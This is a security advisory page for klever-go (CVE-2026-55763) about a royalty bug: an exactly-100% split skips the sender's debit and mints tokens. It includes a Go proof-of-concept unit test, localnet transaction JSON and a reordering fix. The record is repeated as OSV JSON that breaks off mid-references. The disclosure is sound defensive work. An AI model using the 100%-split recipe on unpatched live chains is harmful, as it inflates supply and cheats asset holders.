Vulnerability-Lookup

GHSA-V358-WF77-39XV

Vulnerability from github – Published: 2026-08-28 20:27 – Updated: 2026-08-28 20:27

Summary

klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits

Details

Summary

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return.

Affected code

core/kapp/accounts/accounts.go — processPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok } → acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer (debit before the loop).

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset — not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.

Full Go PoC (core/kapp/accounts package, passes = mint confirmed)

package accounts

import (
    "bytes"
    "encoding/hex"
    "testing"

    "github.com/stretchr/testify/require"

    commonMock "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/core"
    "github.com/klever-io/klever-go/core/kapp"
    "github.com/klever-io/klever-go/data/block"
    "github.com/klever-io/klever-go/data/state"
    "github.com/klever-io/klever-go/data/transaction"
    integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
    "github.com/klever-io/klever-go/kapps"
    kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
    const (
        assetIDStr     = "FUNGI-1234"
        transferValue  = int64(800)
        royaltyRatePct = uint32(500) // 5%
        royaltyAmount  = int64(40)   // 800 * 5% = 40
    )

    assetID := []byte(assetIDStr)

    // 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
    // path is not short-circuited by core.IsSmartContractAddress.
    senderAddr := bytes.Repeat([]byte{0x11}, 32)
    // Split recipient address must be a valid hex string (computeSplitRoyalties
    // hex-decodes the map key).
    recipientAddr := bytes.Repeat([]byte{0x22}, 32)
    recipientKey := hex.EncodeToString(recipientAddr)
    royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

    buildKDA := func(splitPercent uint32) *kapps.KDAData {
        return &kapps.KDAData{
            AssetType:    kapps.KDAData_Fungible,
            OwnerAddress: senderAddr,
            Royalties: &kapps.RoyaltiesData{
                Address: royaltyReceiverAddr,
                TransferPercentage: []*kapps.RoyaltyData{
                    {Amount: 1000, Percentage: royaltyRatePct},
                },
                SplitRoyalties: map[string]*kapps.RoyaltySplitData{
                    recipientKey: {PercentTransferPercentage: splitPercent},
                },
            },
        }
    }

    type runResult struct {
        subFromCalls    int
        subFromAmount   int64
        addToRecipient  int64
        addToOwnerRem   int64
        resCode         transaction.Transaction_TXResultCode
        err             error
    }

    run := func(t *testing.T, splitPercent uint32) runResult {
        t.Helper()

        res := runResult{}

        // Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
        acntSrc := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return senderAddr },
            GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
            SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.subFromCalls++
                res.subFromAmount += value
                return nil
            },
        }

        // Destination is irrelevant to the royalty pool accounting here.
        acntDst := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
        }

        // Split recipient: capture the credit it receives.
        splitRecipient := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return recipientAddr },
            AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.addToRecipient += value
                return nil
            },
        }

        // Owner-remainder receiver (only credited when the path does NOT early-return).
        royaltyReceiver := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
            AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.addToOwnerRem += value
                return nil
            },
        }

        cacher := &commonMock.AccountsCacherStub{
            LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
                if bytes.Equal(address, recipientAddr) {
                    return splitRecipient, nil
                }
                if bytes.Equal(address, royaltyReceiverAddr) {
                    return royaltyReceiver, nil
                }
                return acntSrc, nil
            },
            GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
                return royaltyReceiver, nil
            },
            UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
        }

        // All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
        // (overflow-checked percentage math), and FixMarketBuyOverflow so the
        // fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
        fc := &integrationMock.ForkControllerStub{
            KdaFprCalled:               func() bool { return true },
            EnableSmartContractsCalled: func() bool { return true },
            FixMarketBuyOverflowCalled: func() bool { return true },
        }

        kappController := &kvmStub.KAppControllerStub{
            GetCurrentKAppContextCalled: func() kapp.KappContext {
                return kapp.NewKappContext(kapp.ArgsNewKAppContext{
                    OriginalSender: senderAddr,
                    ContractID:     0,
                    ContractType:   transaction.TXContract_TransferContractType,
                    Block:          &block.Block{},
                })
            },
        }

        a := &accountsKapp{
            accountsCacher: cacher,
            forkController: fc,
            KAppController: kappController,
        }

        tc := &transaction.TransferContract{
            Amount:       transferValue,
            KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
        }

        kda := buildKDA(splitPercent)

        res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
            tc, assetID, nil, acntSrc, acntDst, kda,
        )
        return res
    }

    // ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
    t.Run("split_100pct_mints", func(t *testing.T) {
        r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

        require.NoError(t, r.err)
        require.Equal(t, transaction.Transaction_Ok, r.resCode)

        credited := r.addToRecipient
        debited := r.subFromAmount
        mintDelta := credited - debited

        t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
        t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
        t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
        t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
        t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

        // (1) split recipient WAS credited the full royaltyAmount (> 0).
        require.Equal(t, royaltyAmount, credited,
            "split recipient must receive the full royalty pool")
        require.Greater(t, credited, int64(0))

        // (2) the sender's royalty debit was NEVER called -> value created.
        require.Equal(t, 0, r.subFromCalls,
            "BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
        require.Equal(t, int64(0), debited)

        // credited > debited => mint of royaltyAmount.
        require.Equal(t, royaltyAmount, mintDelta,
            "fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
            mintDelta, assetIDStr)
    })

    // ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
    t.Run("split_50pct_conserves", func(t *testing.T) {
        r := run(t, core.HundredPercent/2) // 5000 == 50%

        require.NoError(t, r.err)
        require.Equal(t, transaction.Transaction_Ok, r.resCode)

        credited := r.addToRecipient + r.addToOwnerRem
        debited := r.subFromAmount

        t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
        t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
        t.Logf("[50%% case] total credited                 = %d", credited)
        t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
        t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
        t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

        // Sender IS debited the full royalty pool exactly once.
        require.Equal(t, 1, r.subFromCalls,
            "sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
        require.Equal(t, royaltyAmount, debited)

        // Split (20) + owner remainder (20) == debited (40): value conserved.
        require.Equal(t, royaltyAmount/2, r.addToRecipient)
        require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
        require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
    })
}

On-chain reproduction (live single-node localnet)

Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split (percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units (with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

Create tx — F07-3NG3, 10% transfer royalty + single 100% split to R (hash ec2a8e8d…af12bc7f)

{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}

Transfer tx — royalty pool 10,000,000,000 credited to R with no source debit (hash 37527757…bf3706b1)

{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}

Remediation

Reorder so the royalty pool is debited from the sender before the split distribution, mirroring processFixedRoyaltiesTransfer:

err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)

Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19-rc2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19-rc4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T20:27:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay \u003c= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay \u003e royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it \u2192 mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` \u2014 `processPercentageRoyaltiesTransfer`: split loop \u2192 `if royaltiesToPay \u003c= 0\n  { return Ok }` \u2192 `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n  `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue \u00d7 rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a `TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder\u0027s transfer of the asset \u2014 not just the owner\u0027s.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender\u0027s `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003ecore/kapp/accounts\u003c/code\u003e package, passes = mint confirmed)\u003c/summary\u003e\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay \u003c= 0 { return Ok }` BEFORE the\n// sender\u0027s `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit =\u003e the recipient keeps royaltyAmount, the sender pays\n// nothing =\u003e mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr     = \"FUNGI-1234\"\n\t\ttransferValue  = int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount  = int64(40)   // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed =\u003e not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn \u0026kapps.KDAData{\n\t\t\tAssetType:    kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls    int\n\t\tsubFromAmount   int64\n\t\taddToRecipient  int64\n\t\taddToOwnerRem   int64\n\t\tresCode         transaction.Transaction_TXResultCode\n\t\terr             error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := \u0026commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay \u003e royaltiesToPay` is ACTIVE.\n\t\tfc := \u0026integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled:               func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := \u0026kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID:     0,\n\t\t\t\t\tContractType:   transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock:          \u0026block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := \u0026accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := \u0026transaction.TransferContract{\n\t\t\tAmount:       transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited            = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited                 = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited)          = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (\u003e 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender\u0027s royalty debit was NEVER called -\u003e value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the \u003c=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited \u003e debited =\u003e mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -\u003e conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited      = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited       = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited                 = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls      = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited   = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited)        = %d (0 =\u003e conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at \u003c100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4\u2026qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty \u2014 while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n\u003cdetails\u003e\u003csummary\u003eCreate tx \u2014 \u003ccode\u003eF07-3NG3\u003c/code\u003e, 10% transfer royalty + single 100% split to \u003ccode\u003eR\u003c/code\u003e (hash \u003ccode\u003eec2a8e8d\u2026af12bc7f\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n    \"blockNum\": 104,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"contract\": [\n        {\n            \"type\": 1,\n            \"typeString\": \"CreateAssetContractType\",\n            \"parameter\": {\n                \"type\": \"Fungible\",\n                \"name\": \"Finding07\",\n                \"ticker\": \"F07\",\n                \"precision\": 6,\n                \"initialSupply\": 1000000000000,\n                \"maxSupply\": 0,\n                \"royalties\": {\n                    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                    \"transferPercentage\": [\n                        { \"percentage\": 1000 }\n                    ],\n                    \"splitRoyalties\": [\n                        {\n                            \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                            \"percentTransferPercentage\": 10000\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eTransfer tx \u2014 royalty pool 10,000,000,000 credited to \u003ccode\u003eR\u003c/code\u003e with no source debit (hash \u003ccode\u003e37527757\u2026bf3706b1\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n    \"blockNum\": 120,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 10000000000\n        },\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 100000000000\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 0,\n            \"typeString\": \"TransferContractType\",\n            \"parameter\": {\n                \"assetId\": \"F07-3NG3\",\n                \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n                \"amount\": 100000000000,\n                \"kdaRoyalties\": 10000000000\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST\n// ... then the split loop and `if royaltiesToPay \u003c= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting \u2192 gate behind the next activation flag.",
  "id": "GHSA-v358-wf77-39xv",
  "modified": "2026-08-28T20:27:44Z",
  "published": "2026-08-28T20:27:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
